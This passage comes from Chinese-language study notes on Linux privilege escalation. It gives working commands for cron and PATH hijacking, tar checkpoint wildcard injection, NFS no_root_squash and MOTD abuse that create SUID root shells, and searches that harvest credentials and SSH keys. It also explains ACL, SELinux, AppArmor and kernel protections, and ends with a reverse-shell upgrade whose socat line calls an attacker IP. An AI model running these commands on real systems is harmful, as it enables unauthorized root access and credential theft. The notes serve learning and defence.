/etc/crontab中 PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

如果某个任务调用相对路径的 backup.sh。且/usr/local/bin 可写:

echo "cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash" > /usr/local/bin/backup.sh

chmod +x /usr/local/bin/backup.sh

3.symlink 竞态攻击

如果 cron 任务会操作某个文件(如日志清理脚本删除旧日志、修改权限等),攻击者可以创建一个指向敏感文件(如 /etc/shadow)的符号链接。当 cron 任务操作该"文件"时,实际操作的是符号链接指向的目标文件。

4.tar Checkpoint

当管理员的定时备份脚本使用类似 tar czf backup.tar.gz * 的命令时,攻击者在待备份目录中创建特殊命名的文件,这些文件名会被 shell 当作 tar 的命令行参数展开。

攻击原理:

--checkpoint=1 参数:让 tar 每处理 1 个文件就触发一次 checkpoint

--checkpoint-action=exec=COMMAND 参数:在 checkpoint 时执行指定命令

当 tar 命令使用通配符 * 时,shell 会将以 -- 开头的文件名解析为 tar 的参数

利用步骤:

去到目标目录

echo "" > "--checkpoint=1"

echo "" > "--checkpoint-action=exec=sh shell.sh"

echo "cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash" > shell.sh

chmod +x shell.sh

当 cron 以 root 执行 tar czf backup.tar.gz * 时,* 展开为目录下所有文件名,包括

--checkpoint=1 和 --checkpoint-action=exec=sh shell.sh。tar 将它们识别为自己的参数,

在 checkpoint 时执行 shell.sh

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

NFS(Network File System)

NFS是指在网络文件系统(NFS, Network File System)架构中,用于访问远程NFS服务器共享资源的计算机或软件组件。NFS是一种分布式文件系统协议,允许不同的计算机通过网络共享文件和目录,就像访问本地存储一样。

NFS客户端的主要功能是通过网络挂载远程服务器上的文件系统,使用户能够透明地访问远程数据。客户端通过NFS协议与服务器通信,执行文件操作如读取、写入、创建和删除等。

NFS 通过 /etc/exports 定义共享目录和权限选项。默认使用 root_squash,将远程 root映射为匿名用户。但如果管理员设置了 no_root_squash,远程 root 会被直接映射为服务器上的 root。

cat /etc/exports # 查找 no_root_squash 配置

利用步骤:

# 1. 攻击者机器上(需要 root),挂载 NFS 共享

mkdir /tmp/nfs_mount

mount -t nfs <目标IP>:/ /tmp/nfs_mount

# 2. 在共享目录中创建 SUID bash

cp /bin/bash /tmp/nfs_mount/rootbash

chmod +xs /tmp/nfs_mount/rootbash

服务器上的rootbash已经是root的SUID文件

# 3. 回到目标系统,执行 SUID bash

/path/to/shared/rootbash -p

**MOTD(**Message Of The Day)

MOTD(Message Of The Day)是 SSH 登录后显示的欢迎信息,由 /etc/update-motd.d/ 目录下的脚本生成。在 Ubuntu 等发行版中,这些脚本以 root 身份运行。如果脚本权限配置不当,攻击者可注入恶意代码。

ls -la /etc/update-motd.d/

# 如果发现某个脚本可写

echo "cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash" >> /etc/update-motd.d/10-help-text

# 等待 root 用户 SSH 登录触发

局限性在于需要等待 root 通过 SSH 登录。但在实际运维环境中,管理员经常定期 SSH 登录,耐心等待通常会有收获

凭据

密钥与凭据搜索

有时最直接的方法不是利用系统漏洞,而是寻找遗留的凭据信息

用户(包括管理员)经常在不知不觉中留下敏感信息痕迹,这些痕迹可能成为提权的关键跳板。凭据搜索是提权中成本最低、风险最小的方法之一

bash history

运维人员经常在命令行中直接输入密码,如 mysql -u root -pPASSWORD、sshpass -p PASSWORD ssh root@host 等。这些密码以明文留在 ~/.bash_history 中。

cat ~/.bash_history | grep -iE "pass|pwd|mysql|ssh|sudo|token|key|secret"

find /home -name .bash_history -exec cat {} \; 2>/dev/null

find /root -name .bash_history -exec cat {} \; 2>/dev/null

.viminfo

Vim 会在 ~/.viminfo 中记录编辑历史,包括搜索模式和寄存器内容。如果管理员用 Vim

编辑过包含密码的配置文件,密码可能残留在搜索记录或寄存器中。

cat ~/.viminfo | grep -iE "pass|pwd|secret|key|token"

SSH 密钥

SSH 私钥是提权的"万能钥匙"。找到 root 或高权限用户的私钥,就能直接 SSH 登录。

find / -name id_rsa -type f 2>/dev/null

find / -name id_ed25519 -type f 2>/dev/null

find / -name authorized_keys -type f 2>/dev/null

find / -name "*.pem" -type f 2>/dev/null

配置文件中的凭据

许多应用在配置文件中存储数据库密码、API 密钥等。

find / -name ".conf" -o -name ".cfg" -o -name ".ini" -o -name ".yml" -o -name "*.yaml"

2>/dev/null | xargs grep -liE "pass|pwd|secret|token|api_key" 2>/dev/null

cat /var/www/html/wp-config.php 2>/dev/null # WordPress

cat /etc/mysql/my.cnf 2>/dev/null # MySQL

cat /etc/postfix/sasl_passwd 2>/dev/null # 邮件

cat /etc/rsyncd.secrets 2>/dev/null # Rsync

find /var/www -name "*.php" -exec grep -l "password" {} \; 2>/dev/null

其他凭据来源

find / -name ".env" -type f 2>/dev/null # .env 文件

find / -name ".git-credentials" -type f 2>/dev/null # Git 凭据

find / -name ".netrc" -type f 2>/dev/null # FTP 凭据

find / -name "credentials" -o -name "creds" 2>/dev/null

cat /root/.mysql_history 2>/dev/null # MySQL 历史

数据库中的凭据等等,获取到真实凭据,就可以进行喷洒进行密码复用攻击

内核

内核提权是最直接但也最危险的方式。原理是利用 Linux 内核中的安全漏洞(缓冲区溢出、竞态条件、空指针解引用、Use-After-Free 等),直接在内核层面将当前进程权限提升为 root。

由于内核是操作系统的核心,内核漏洞一旦利用成功,效果是立竿见影的——直接获得 root 权限,且无法被任何用户空间安全机制阻止。

信息收集:

uname -a # 内核版本

cat /etc/os-release # 操作系统版本

cat /proc/version # 详细内核编译信息

利用流程:确定内核版本后,在 Exploit-DB(https://www.exploit-db.com/)搜索该版本已知漏洞和公开 exploit 代码,下载编译后在目标系统执行。这里就不再赘述。

安全机制

下面这些机制可能成为提权过程最大的障碍

ACL(Access Control List)

背景:

是为了解决传统 Unix 权限(UGO)粒度太粗的问题,UGO 只能给"一个人 + 一个组 + 其他人"设权限,ACL 允许你给"任意多个人和组"分别设权限,同时保持向后兼容

在提权语境下的意义:你可能不在文件的属组里,但 ACL 条目给了你写或执行的权限。

ACL配置

这种隐蔽配置,常规 ls -l 是看不出来的,唯一线索是 ls -l 输出中权限位末尾的 + 号

ls -lR / 2>/dev/null | grep -E "^[-d].{9}\+"

getfacl -s -R / 2>/dev/null

条目类型

含义

数量限制

user::perms

属主权限

必须有,且仅 1 个

user:name:perms

命名用户权限

0 ~ 多个

group::perms

属组权限

必须有,且仅 1 个

group:name:perms

命名组权限

0 ~ 多个

mask::perms

有效权限上限

最多 1 个

other::perms

其他用户权限

必须有,且仅 1 个

还可能有flag

Flag

含义

-s-

ACL 由继承得来(非手动设置)

--t

文件有默认 ACL(目录专有)

-st

既有继承又有默认 ACL

最小 ACL = user:: + group:: + other:: (= UGO,没有扩展条目)

扩展 ACL = 最小 ACL + 至少一个命名用户/组条目 + mask

有扩展 ACL 时,ls -l 显示的属组权限位 = mask,不是真正的 group::perms

例子

用法

setfacl -m 修改(添加/更新)ACL

setfacl -x 删除指定 ACL 条目

setfacl -b 删除所有扩展 ACL(恢复为纯 UGO)

setfacl --set 完整替换 ACL(覆盖所有条目)

setfacl -d -m 设置默认 ACL(目录,子文件自动继承)

为sec.txt文件添加条目

setfacl -m <类型>:<名字>:<权限> <文件>

sudo setfacl -m u:ecs-assist-user:rw sec.txt

getfacl sec.txt

同时发现之前的组权限也变成了rw,其实是 ACL mask(最大允许权限),不是真正的属组权限

再设置掩码,掩码只作用与拓展条目,实际有效权限 = ACL 条目权限 ∩ mask

ecs用户变成了只读,无法写文件

default 默认条目只对将来创建的新文件生效,不对当前目录生效

新建的文件会被压掉x执行权限,跟原本新建文件不会天生有x执行权限一样

新建的目录会继承默认权限

chmod设置acl文件,修改的是umo,而不是ugo

只能用setfacl设置

删除条目

sudo setfacl -x u:ecs-assist-user sec.txt

两种MAC阵营

MAC 系统

发行版

内核集成时间

SELinux

RHEL、CentOS、Fedora、Anolis、Rocky、Alma

Linux 2.6.0 (2003)

AppArmor

Ubuntu、Debian、SUSE、openSUSE、Kali

Linux 2.6.36 (2010)

selinux采用主机Alibaba Cloud Linux 3.2104 U13 (OpenAnolis Edition)

apparmor采用主机Kali GNU/Linux Rolling

用户请求 → DAC 检查 → 通过 → MAC 检查 → 通过 → 放行

SELinux(Security-Enhanced Linux)

背景

UGO/ACL 的问题:它们是"自主访问控制"(Discretionary Access Control)

→ 文件属主可以随意改权限

→ root 不受任何限制

→ 一个 SUID 程序被攻破 = 全线崩溃

而SELinux 是基于标签的MAC(Mandatory Access Control) 系统。系统中的每个主体(进程)和客体(文件、端口等)都贴有安全标签(安全上下文),所有访问必须符合类型强制规则。即使进程以 root 运行且UGO 权限允许,SELinux 仍可拒绝操作。

核心概念

描述

示例

主体

发起访问请求的实体,通常是进程。

httpd进程、sshd进程

客体

被访问的实体,可以是文件、目录、端口、设备等。

/var/www/html/index.html 文件、TCP 80 端口

策略

一套规则的集合。定义了哪些主体可以对哪些客体进行哪些操作。

允许 httpd进程读取 httpd_sys_content_t类型的文件。

安全上下文

最重要的概念。是附加到每个主体和客体上的安全标签。

system_u:object_r:httpd_sys_content_t:s0

SELinux 是"强制访问控制"(Mandatory Access Control)

→ 管理员定义策略,进程无法绕过

→ root 也受 SELinux 约束(除非是 unconfined_t)

→ 即使 UGO/ACL 允许,SELinux 仍可拒绝

→ 即使 root 执行,SELinux 仍可拒绝

SElinux配置

标签

每个进程有一个****标签 → 叫"域"(domain)

例如:httpd_t, sshd_t, bin_t, unconfined_t

每个文件有一个****标签 → 叫"类型"(type)

例如:etc_t, shadow_t, httpd_sys_content_t, tmp_t

规则:只有策略明确允许的 domain→type 组合才能访问

示例:

httpd_t 域可以读 httpd_sys_content_t 类型的文件

httpd_t 域不能读 shadow_t 类型的文件

httpd_t 域不能写 etc_t 类型的文件

安全上下文

格式:user:role:**type**:level

示例:

unconfined_u:unconfined_r:**unconfined_t**:s0-s0:c0.c1023

system_u:system_r:**httpd_t**:s0

system_u:object_r:**shadow_t**:s0

字段

含义

说明

user(用户)

SELinux 用户,不等同于 Linux UID

如 unconfined_u、system_u、user_u

role(角色)

SELinux 角色,控制哪些域可以进入

如 unconfined_r、system_r、user_r

type(类型)

最核心的字段,决定访问权限

进程的 type 叫域(domain),文件的 type 叫类型(type)

level(级别)

MLS/MCS 级别,多级安全/多类别安全

如 s0、s0-s0:c0.c1023,在 targeted 策略中通常不重要

targeted 策略下,只有type参与访问控制,其它三个字段都是"统一的默认值",不参与访问控制。

策略类型

运行的策略,基于策略对进程进行访问控制

策略

说明

targeted(默认)

只约束特定网络服务(httpd、named、dhcpd 等)
普通用户进程运行在 unconfined_t基本不受限。RHEL/CentOS/Fedora 默认策略。

mls(多级安全)

严格的 Bell-LaPadula 模型,所有进程都受约束,按安全级别分级。军事/政府环境使用,配置复杂,极少在日常中遇到。

minimum

targeted 的最小子集,只约束最少的服务,用于测试和最小化部署。

三种工作模式

运行的模式

Enforcing(强制) :违反策略被拒绝并记录,最高阻力,需找策略漏洞或绕过方法

Permissive(宽容) :仅记录日志,不阻止,攻击可照常进行,可利用日志调试

Disabled(禁用) :无额外限制,等同于没有 SELinux 保护

例子

getenforce # 当前模式

sestatus # 详细状态

ls -Z /path/to/file # 文件安全上下文

看相关都是用-Z参数,没有什么含义,单纯没人用

修改SELINUX=enforcing,SELINUXTYPE=targeted

sudo vim /etc/selinux/config

重打标签

sudo touch /.autorelabel

重启,成功启用selinux

id -Z # 当前安全上下文

当前标签unconfined_service_t基本不受限

采用httpd来测试

sudo setenforce 0

先设置宽容模式,不然httpd启动时读配置的时候拒绝,服务起不来

ps -efZ |grep httpd

看到进程标签都是httpd_t,而targeted策略会约束特定网络服务(httpd、named、dhcpd 等)

在目录下创建文件,因为是httpd_sys_content_t,可以正常访问,与acl类似,selinux在权限位后有**.**

sudo setenforce 1

设置回去强制模式

chcon(change context)、restorecon(restore context)

选项

含义

例子

-t

改 type

chcon -t httpd_sys_content_t file

-u

改 user

chcon -u system_u file

-r

改 role

chcon -r object_r file

-R

递归改目录

chcon -R -t httpd_sys_content_t /var/www/

--reference

参考另一个文件的标签

chcon --reference=/var/www/html/index.html test.txt

sudo chcon -t shadow_t /var/www/html/test.txt

修改文件的type,再次访问就被没有权限了

sudo restorecon test.txt

恢复后可以访问

搜索SELinux 策略规则数据库

sesearch -A -s httpd_t -t httpd_sys_content_t

参数

全称

含义

-A

Allow rules

查询"允许"规则(allow 语句)

-s

Source

指定源(进程的 SELinux type/域)

-t

Target

指定目标(文件的 SELinux type)

httpd_t继承domain,也会继承规则,所以会显示出来

allow httpd_t httpd_sys_content_t:file { getattr ioctl lock map open read };

字段

值

含义

allow

规则类型

允许操作

domain

源

所有受限域的父属性(包括 httpd_t、sshd_t、crond_t...)

tmpfile

目标

临时文件类型属性(包括 tmp_t、user_tmp_t...)

file

对象类

普通文件

{ ... }

操作集

具体允许的操作

sesearch -A -s httpd_t -t shadow_t

没有直接的shadow_t标签,也没看到可读权限

sudo chcon -t tmp_t test.txt

改成tmp_t后又可读

sesearch -A -s httpd_t -t tmp_t

只要是domain都可以对tmpfile执行read操作

所以如果在提权遇到selinux,将会非常困难

AppArmor(Application Armour)

背景

AppArmor 的诞生是为了解决 SELinux太复杂的问题,提供一个足够安全但易于配置的 MAC 替代方案。AppArmor 是基于路径的 MAC 系统,为每个程序定义一份 profile,精确限定其能访问的文件、拥有的能力、能执行的系统调用。即使程序以 root 身份运行或拥有 SUID 位,AppArmor 策略仍可阻止其危险操作。

对比


SELinux

AppArmor

模型

基于标签(label-based)

基于路径(path-based)

标识对象

安全上下文(inode 标签)

文件路径(字符串匹配)

策略绑定

绑定到 inode 的标签

绑定到可执行文件路径

策略语言

复杂(类型强制规则)

简单(声明式路径规则)

默认策略

targeted(大量预设规则)

按需配置 profile

硬链接影响

标签跟随 inode → 安全

路径可能被绕过

挂载影响

不受挂载点变化影响

路径可能因挂载变化

发行版

RHEL/CentOS/Fedora

Ubuntu/SUSE/Debian

可用性

查看标签 ls -Z比较直观

查看 profile 文件

AppArmor 的核心设计:

一个可执行文件 → 一个 profile → 一组允许/拒绝规则

当进程执行这个文件时 → 加载对应的 profile → 约束进程行为

AppArmor配置

Profile 文件位于 /etc/apparmor.d/

命名规则:用点替换路径的 /

例如:

/usr/sbin/nginx → /etc/apparmor.d/usr.sbin.nginx

/usr/bin/man → /etc/apparmor.d/usr.bin.man

/usr/sbin/tcpdump → /etc/apparmor.d/usr.sbin.tcpdump

两种工作模式:

强制模式(enforce):违反策略的操作被拒绝并记录

投诉模式(complain):违反策略仅记录日志,不阻止

以nginx举例

aa-enforce /etc/apparmor.d/usr.sbin.nginx → 切到 enforce

aa-complain /etc/apparmor.d/usr.sbin.nginx → 切到 complain

aa-disable /etc/apparmor.d/usr.sbin.nginx → 禁用 profile

aa-status

查看整体状态

Profile 文件位于 /etc/apparmor.d/

命名规则:用点替换路径的 /

例如:

/usr/sbin/nginx → /etc/apparmor.d/usr.sbin.nginx

/usr/bin/man → /etc/apparmor.d/usr.bin.man

/usr/sbin/tcpdump → /etc/apparmor.d/usr.sbin.tcpdump

Profile 示例

cat /etc/apparmor.d/usr.sbin.nginx

#include <tunables/global>                          ← 全局变量定义
/usr/sbin/nginx {                                   ← 绑定的可执行文件路径
  #include <abstractions/base>                      ← 引入基础抽象规则
  #include <abstractions/nameservice>               ← 引入 DNS 解析规则
  #include <abstractions/ssl_certs>                 ← 引入 SSL 证书规则
===== 文件访问规则 =====
  /usr/sbin/nginx           rix,                    ← rix = read+inherit+execute
  /etc/nginx/**             r,                      ← 递归只读 nginx 配置
  /var/log/nginx/**         rw,                     ← 递归读写日志目录
  /var/www/html/**          r,                      ← 递归只读 web 根目录
  /var/lib/nginx/**         rw,                     ← 递归读写运行时数据
  /run/nginx.pid            rw,                     ← 读写 PID 文件
  /tmp/**                   rw,                     ← 递归读写临时目录(危险!)
===== 能力规则 =====
  capability net_bind_service,                      ← 允许绑定特权端口
  capability setgid,                                ← 允许 setgid
  capability setuid,                                ← 允许 setuid
===== 网络规则 =====
  network inet tcp,                                 ← 允许 IPv4 TCP
  network inet udp,                                 ← 允许 IPv4 UDP
  network inet6 tcp,                                ← 允许 IPv6 TCP
===== 拒绝规则(显式拒绝,优先级最高)=====
  deny /etc/shadow          r,                      ← 显式拒绝读 shadow
  deny /etc/ssl/private/**  r,                      ← 显式拒绝读私钥
  deny /root/**             rw,                     ← 显式拒绝访问 root 目录
===== 信号规则 =====
  signal (send) peer=/usr/sbin/nginx,               ← 允许给自己发信号
===== D-Bus 规则 =====
  dbus (send, receive) bus=system path=/org/freedesktop/DBus,
}

文件访问规则

语法:路径 权限,
路径通配符:
  *      → 匹配路径中任意一层的不含 / 的字符
           /etc/*.conf  匹配 /etc/nginx.conf,不匹配 /etc/sub/nginx.conf
 **     → 递归匹配任意层子目录
           /etc/**      匹配 /etc/ 下所有文件和子目录中的文件
  ?      → 匹配单个字符
  [abc]  → 匹配 a 或 b 或 c
  [^a]   → 不匹配 a

权限字符:
  r      → read(读)
  w      → write(写)
  a      → append(追加,暗示 w)
  x      → execute
    ix   → inherit execute:以当前 profile 执行(子进程受同一 profile 约束)
    px   → profile execute:以目标文件的 profile 执行(过渡到新 profile)
    Px   → 同 px,但不做环境净化
    ux   → unconfined execute:不受 AppArmor 约束(危险!)
    Ux   → 同 ux,但不做环境净化
    cx   → child execute:执行子 profile
    m    → allow mapping executable as writable(允许 mmap 执行)
  l      → link(创建链接)
  k      → lock(文件锁)

权限组合示例:
  r      → 只读
  rw     → 读写
  rix    → 读 + 以当前 profile 执行
  rpx    → 读 + 过渡到目标 profile 执行
  rwl    → 读写 + 创建链接

能力规则

语法:capability capability_name,

示例:
  capability setuid,             ← 允许 setuid()
  capability net_bind_service,   ← 允许绑定 <1024 端口
  capability sys_ptrace,         ← 允许 ptrace()
  capability dac_override,       ← 绕过文件权限检查
  capability sys_admin,          ← "万能" cap

可以列出多个:
  capability setuid,
  capability setgid,
  capability net_bind_service,

网络规则

语法:network [domain] [type] [protocol],

示例:
  network,                       ← 允许所有网络操作
  network inet tcp,              ← 允许 IPv4 TCP
  network inet udp,              ← 允许 IPv4 UDP
  network inet6 tcp,             ← 允许 IPv6 TCP
  network inet raw,              ← 允许 IPv4 raw socket
  network netlink,               ← 允许 netlink socket

拒绝规则

语法:deny 路径 权限,

deny 规则优先级最高:
  即使后面有允许规则,deny 仍然拒绝

示例:
  /tmp/** rw,                    ← 允许读写 /tmp
  deny /tmp/.ssh rw,             ← 但拒绝读写 /tmp/.ssh(即使上面允许了 /tmp/**)
  deny /etc/shadow r,            ← 显式拒绝读 shadow

抽象规则

# 抽象规则是预定义的规则集合,放在 /etc/apparmor.d/abstractions/
# 用 #include 引入

ls /etc/apparmor.d/abstractions/
# base              ← 基础:/dev/null, /dev/urandom, locale 等
# nameservice       ← DNS 解析:/etc/resolv.conf, /etc/hosts, nsswitch
# ssl_certs         ← SSL 证书:/etc/ssl/certs/
# authentication    ← PAM 认证:/etc/pam.d/, /etc/shadow
# bash              ← bash 需要的文件
# consoles          ← /dev/console, /dev/tty*
# cups              ← 打印系统
# dbus              ← D-Bus 通信
# fonts             ← 字体文件
# kerberosclient    ← Kerberos 客户端
# ldap              ← LDAP 客户端
# mdns              ← mDNS
# netcfg            ← 网络配置
# nis               ← NIS
# openssl           ← OpenSSL
# p11-kit           ← PKCS#11
# perl              ← Perl
# php               ← PHP
# python            ← Python
# qt                ← Qt
# ruby              ← Ruby
# ssl_keys          ← SSL 私钥
# user-download     ← 用户下载目录
# user-mail         ← 用户邮件
# user-manpages     ← 用户 man
# user-tmp          ← 用户临时文件
# user-write        ← 用户可写目录
# X                 ← X Window
# xdg-download      ← XDG 下载目录

# 查看 base 抽象规则的内容
cat /etc/apparmor.d/abstractions/base
# /dev/null                        rw,
# /dev/urandom                     r,
# /dev/random                      r,
# /etc/locale/**                   r,
# /etc/locale.alias                r,
# /usr/share/locale/**             r,
# /usr/share/locale-bundle/**      r,
# @{PROC}/@{pid}/maps              r,
# @{PROC}/@{pid}/mounts            r,
# /etc/ld.so.cache                 r,
# /etc/ld.so.preload               r,
# /lib/@{multiarch}/ld-*.so*       rm,
# /usr/lib/@{multiarch}/ld-*.so*   rm,

# 查看 tunables
cat /etc/apparmor.d/tunables/global
# include 了很多变量定义
cat /etc/apparmor.d/tunables/home
# @{HOMEDIRS}=/home/          ← 家目录前缀变量
cat /etc/apparmor.d/tunables/alias
# 可定义路径别名

例子

以/usr/bin/less举例,策略文件就是/etc/apparmor.d/usr.bin.less

创建策略文件,禁止读shadow文件

#include <tunables/global>

/usr/bin/less {
  #include <abstractions/base>

  /** r,
  deny /etc/shadow r,
}

sudo apparmor_parser -r /etc/apparmor.d/usr.bin.less

读取shadow文件失败,读取shadow-文件成功

给less配备cap,可以读取shadow文件

再通过apparmor限制less的cap

无法读取shadow文件,相当于禁用了cap_dsa_override

一般用户没有权限执行aa-status也就没办法看到配置,但是可看进程的约束

cat /proc/<PID>/attr/current # 特定进程的约束

内存保护机制

Grsecurity

Grsecurity 是一套针对 Linux 内核的深度安全补丁集。 SELinux 和 AppArmor,主要是在系统层面限制程序行为;而 Grsecurity 是直接作用于内核本身,保护内核不受攻击。

它在提权攻击中主要充当以下角色:

  • 内核漏洞的克星:它的核心设计就是防御内核漏洞提权。即使系统存在一个未被修复的内核漏洞,Grsecurity 也能极大增加攻击者利用成功的难度。
  • 对抗“内存漏洞”:它会打乱内核内存布局,并阻止在内核内存中执行恶意代码,让缓冲区溢出这类经典攻击手段失效。
  • 严格的“权限隔离”:即使你已经拿到了 root 权限,一些 Grsecurity 策略可能还会进一步限制你能看到什么、能做什么。比如,普通用户可能看不到其他用户的进程。

PaX

PaX 是一组内核安全补丁,主要防御内存破坏类攻击。核心功能包括:

PAGEEXEC:将数据页标记为不可执行,阻止在栈/堆上执行 shellcode

ASLR 早期实现:打乱内存布局使攻击者难以预测目标地址

指针加密(Pointer Encryption):加密内存中的函数指针,使攻击者无法直接覆盖

PaX 是 Grsecurity 的核心组件。遇到 PaX 意味着传统栈溢出、堆溢出、ROP 等内存攻击手段成功率大幅降低,需转向逻辑漏洞和配置错误等非内存攻击路径。

Execshield

Red Hat 开发的内核安全特性,将栈和数据段标记为不可执行来阻止 shellcode 注入。包含有限 PIE 支持和内存布局随机化。主要部署在 RHEL/CentOS/Fedora 中,保护力度比PaX/Grsecurity 弱,可通过信息泄露漏洞泄露内存地址绕过。

ASLR(地址空间布局随机化)

ASLR 在每次程序启动时随机化内存中关键区域(栈、堆、共享库等)的加载地址,使攻

击者无法预测目标代码的精确位置。

cat /proc/sys/kernel/randomize_va_space # 查看当前级别

级别

随机化范围

安全性

0

禁用

无保护,所有地址固定可预测

1

共享库 + 栈

部分保护,堆和可执行文件仍固定

2

共享库 + 栈 + 堆 + 可执行文件

完全随机化(默认)

StackGuard / Propolice

栈保护机制,通过在函数返回地址前插入随机 canary 值检测栈溢出。函数返回前检查canary 是否被修改,若变化则程序终止。现代 GCC 默认启用 -fstack-protector-strong。

绕过方法:信息泄露泄露 canary 值,或转向堆溢出、格式化字符串等其他漏洞类型。

mprotect 限制 / W^X

mprotect 用于修改内存页保护属性。安全增强内核限制 mprotect 禁止同时设置写和执行权限(W^X 策略:Write XOR Execute)。内存页可写则不可执行,可执行则不可写。这迫使攻击者从 shellcode 注入转向 ROP(Return-Oriented Programming)等更复杂技术。

访问控制与沙箱

seccomp(安全计算模式)

seccomp 严格限制进程可执行的系统调用。严格模式下只允许 read/write/_exit/sigreturn 四个调用。seccomp-bpf 扩展版允许通过 BPF 规则定义灵活的过滤策略。

Docker 等容器运行时默认使用 seccomp-bpf 限制容器进程。

grep Seccomp /proc//status # 查看进程 seccomp 状态

在提权中,seccomp 意味着即使容器内获得代码执行权,mount、keyctl、ptrace 等系统调用可能被禁止,阻止常见容器逃逸技术。

ptrace 限制(Yama)

Yama 通过 /proc/sys/kernel/yama/ptrace_scope 限制 ptrace 附加能力。

ptrace 是进程调试系统调用,可读写其他进程内存,在提权中极其危险。

cat /proc/sys/kernel/yama/ptrace_scope

级别

行为

0

经典模式:任何进程可 ptrace 同 UID 的进程

1

受限模式:只能 ptrace 自己的子进程(默认)

2

严格模式:仅 root 可以 ptrace

3

完全禁止 ptrace(需重启才能改回)

chroot

chroot 改变进程的根目录视图,但不是安全机制,只是改变路径解析起点。

已知逃逸方法 :root 权限下通过 mknod 创建设备文件访问宿主文件系统;通过 ptrace 附加 chroot 外的进程;chroot() 两次配合 fchdir() 逃逸;通过 /proc 访问 chroot 外路径。不应用作安全隔离,应使用 Namespaces + CGroups + seccomp。

firejail

SUID 沙箱程序,利用 Namespaces、seccomp-bpf 和能力限制创建轻量沙箱。用户只需在命令前加 firejail 即可沙箱化。但 firejail 本身是 SUID 程序,历史上多次出现本地提权漏洞 ——既是安全工具,也可能成为攻击面。

firejail --version # 检查版本,搜索已知漏洞

Capsicum

基于能力的沙箱框架(源于 FreeBSD)。核心概念:进程进入"能力模式"后,只能通过文件描述符(能力)访问资源,不能再通过全局路径打开新资源。从根本上切断提权路径——即使进程被攻破,攻击者无法获取新资源。Linux 上部署有限,FreeBSD 上应用广泛。

容器隔离机制

CGroups(控制组)

CGroups 将进程组织成层次化组,对每组施加资源限制(CPU、内存、磁盘 I/O 等)。本身不是安全机制,但被广泛用于容器隔离。在提权中,CGroups 配置缺陷可能被利用突破容器隔离——特别是 cgroup release_agent 功能,在特定配置下可被利用在宿主机上以 root 执行命令。

Namespaces(命名空间)

Namespaces 为进程提供独立的系统视图,是容器技术核心基础。每个 Namespace 隔离一类资源:PID、Network、Mount、User 等。User Namespace 允许非特权用户创建拥有"虚拟 root"的命名空间,某些配置下可被滥用。

ls -la /proc//ns/ # 查看进程的命名空间

Shell 稳定化

获得反弹 shell 后,通常只是一个功能极有限的不稳定 shell。需要升级为完整的交互式终

端才能正常执行提权操作。

方法一:Python pty

最常用的方法,通过 Python 的 pty 模块生成伪终端。

python -c 'import pty; pty.spawn("/bin/bash")'

python3 -c 'import pty; pty.spawn("/bin/bash")'

方法二:完整交互式终端

在 pty 升级基础上,通过后台挂起、设置终端属性和环境变量,实现完整交互体验。

# 反弹 shell 中

python -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+Z # 挂起到后台

# 攻击者机器上

stty raw -echo; fg

# 回到反弹 shell

export TERM=xterm-color

stty rows 40 cols 160

方法三:rlwrap

rlwrap 为不支持 readline 的程序提供命令行编辑功能。

rlwrap nc -lvnp 4444

方法四:socat 完整 PTY

socat 创建完整 PTY 终端,功能最完整。

# 攻击者端

socat file:tty,raw,echo=0 tcp-listen:4444

# 目标端

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<攻击者IP>:4444